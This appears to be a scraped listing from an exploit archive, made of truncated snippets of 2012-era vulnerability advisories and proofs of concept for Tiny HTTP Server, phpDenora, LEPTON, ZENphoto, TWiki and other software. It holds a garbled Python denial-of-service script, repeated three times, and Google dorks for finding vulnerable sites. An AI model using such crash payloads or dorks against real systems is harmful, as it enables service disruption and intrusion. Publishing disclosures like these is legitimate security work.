Tiny HTTP Server 1.1.9 Crash

!/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..." httpServ.request'GET', "/" + strpayload print "! Exploit succeed...

Tiny HTTP Server 1.1.9 - Remote Crash (PoC)

Tiny HTTP Server 1.1.9 - Remote Crash PoC !/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..." httpServ.request'GET', "/"...

Tiny HTTP Server <=v1.1.9 Remote Crash PoC

Exploit for windows platform in category dos / poc !/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..."...

phpDenora 1.4.6 SQL Injection

Title : phpDenora = 1.4.6 Multiple SQL Injection Vulnerabilities Author : P. de Brouwer - KnickLighter @knickz0r NLSecurity - www.nlsecurity.org [email protected] Dork : intext:"Powered by phpDenora" Software : phpDenora = 1.4.6 http://sourceforge.net/projects/phpdenora/files/phpDenora/1.4.6/...

Multiple vulnerabilities in LEPTON

Advisory ID: HTB23072 Product: LEPTON Vendor: LEPTON Project Vulnerable Versions: 1.1.3 and probably prior Tested Version: 1.1.3 Vendor Notification: 25 January 2012 Vendor Patch: 4 February 2012 Public Disclosure: 15 February 2012 Vulnerability Type: Local File Inclusion, SQL Injection, Cross Si...

ButorWiki Cross Site Scripting

Exploit Title: ButorWiki Cross Site Scripting Date: 16.02.2012 Author: Sony Software Link: http://www.butor.com/ Software Version: 3.0.0 Web Browser : Mozilla Firefox Blog : http://st2tea.blogspot.com PoC: http://st2tea.blogspot.com/2012/02/butorwiki-cross-site-scripting.html...

PeerBlock 1.1 - Blue Screen of Death

PeerBlock 1.1 - Blue Screen of Death -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ======================================================================================================= =======================================================================================================...

Apache Struts多个HTML代码注入漏洞

BUGTRAQ ID: 51902 CVE ID: CVE-2012-1006 Apache Struts是一款开发Java web应用程序的开源Web应用框架。 Apache Struts在实现上存在多个HTML注入漏洞，攻击者可利用这些漏洞在受影响浏览器中运行HTML和脚本代码，窃取Cookie身份验证凭证或控制站点外观。 0 Apache Group Struts 2.2.3 Apache Group Struts 2.0.14 厂商补丁： Apache Group ------------ 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版...

PeerBlock 1.1 - Blue Screen of Death

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ======================================================================================================= ======================================================================================================= PeerBlock 1.1 BSOD Author: shinnai mail:...

ZENphoto 1.4.2 Code Execution / XSS / SQL Injection

Advisory ID: HTB23070 Product: ZENphoto Vendor: www.zenphoto.org Vulnerable Version: 1.4.2 and probably prior Tested Version: 1.4.2 Vendor Notification: 18 January 2012 Vendor Patch: 19 January 2012 Public Disclosure: 8 February 2012 Vulnerability Type: PHP Code Execution, SQL Injection, XSS...

SiT! Support Incident Tracker 3.64 XSS / CSRF / SQL Injection

Advisory Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SiT! Support Incident Tracker, which can be exploited to perform SQL injection, cross-site scripting, cross-site request forgery attacks. 1 Input passed via the "start" GET parameter to...

Multiple XSS in Chyrp

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Chyrp, which can be exploited to perform Cross Site Scripting attacks. 1 Cross Site Scripting XSS in Chyrp: CVE-2012-1001 1.1 Input passed via the "content" POST parameter to /includes/ajax.php is not properly...

TWiki Cross Site Scripting

Exploit Title: TWiki Cross Site Scripting Date: 31.01.2012 Author: Sony Software Link: http://www.twiki.org Google Dorks: intext:powered by twiki Web Browser : Mozilla Firefox Blog : http://st2tea.blogspot.com PoC: http://st2tea.blogspot.com/2012/01/cross-site-scripting-twiki.html...

Silverstripe CMS Cross Site Scripting

|| | | | \ | | / / \ / / | | / \ / | | \ \ / | \ / |\ \ \ /| | | | | | \ |/ | Y Y \ \ / // | / \ \ / |//|| / /|| / /\ | / /|| / / / / / / / silverstripe CMS persisten XSS vulnerabilties vendor: http://demo.silverstripe.org Author: Karthik R 3psil0nLambDa Email:...

Multiple vulnerabilities in LEPTON

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in LEPTON, which can be exploited to perform Local File Inclusion, Cross Site Scripting and SQL Injection attacks. 1 Local File Inclusion in LEPTON: CVE-2012-0998 Input passed via the "language" POST parameter to...

Ultimate Locator SQL Injection

Exploit Title: Ultimate Locator SQL Injection Vulnerability Author: Robert Cooper Robert.Cooper at areyousecure.net Software Link: http://www.ultimatelocator.com/ Dork: "Powered by Ultimate Locator" Tested on: Linux/Windows 7 Vulnerable File: resultslist.php Vulnerable parameter: radius= PoC:...

PostNuke Module pnAddressbook SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: PostNuke Module pnAddressbook SQL Injection Vulnerability Date: 1/18/2012 Author: Robert Cooper Robert.Cooper at areyousecure.net Tested on: Linux/Windows 7 Vulnerable parameter: id= PoC:...

ME020567: MailEnable webmail cross-site scripting vulnerability CVE-2012-0389

ME020567: MailEnable webmail cross-site scripting vulnerability CWE-79 References: CVE-2012-0389 Discovered by: Sajjad Pourali, Narendra Shinde and Shahab NamaziKhah Vendor advisory: http://www.mailenable.com/kb/Content/Article.asp?ID=me020567 Vendor contact: 2012-01-04 09:49:36 UTC Vendor...

ATutor 2.0.3 Cross Site Scripting

Advisory: ATutor 2.0.3 Multiple XSS vulnerabilities Advisory ID: SSCHADV2012-002 Author: Stefan Schurtz Affected Software: Successfully tested on ATutor 2.0.3 Vendor URL: http://atutor.ca Vendor Status: informed ========================== Vulnerability Description ========================== ATuto...

PHP 5.3.8 - Multiple Vulnerabilities

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 PHP 5.3.8 Multiple vulnerabilities Author: Maksymilian Arciemowicz Website: http://cxsecurity.com/ Date: 14.01.2012 CVE: CVE-2011-4153 zendstrndup Original link: http://cxsecurity.com/research/103 --- 1. Multiple NULL Pointer Dereference with...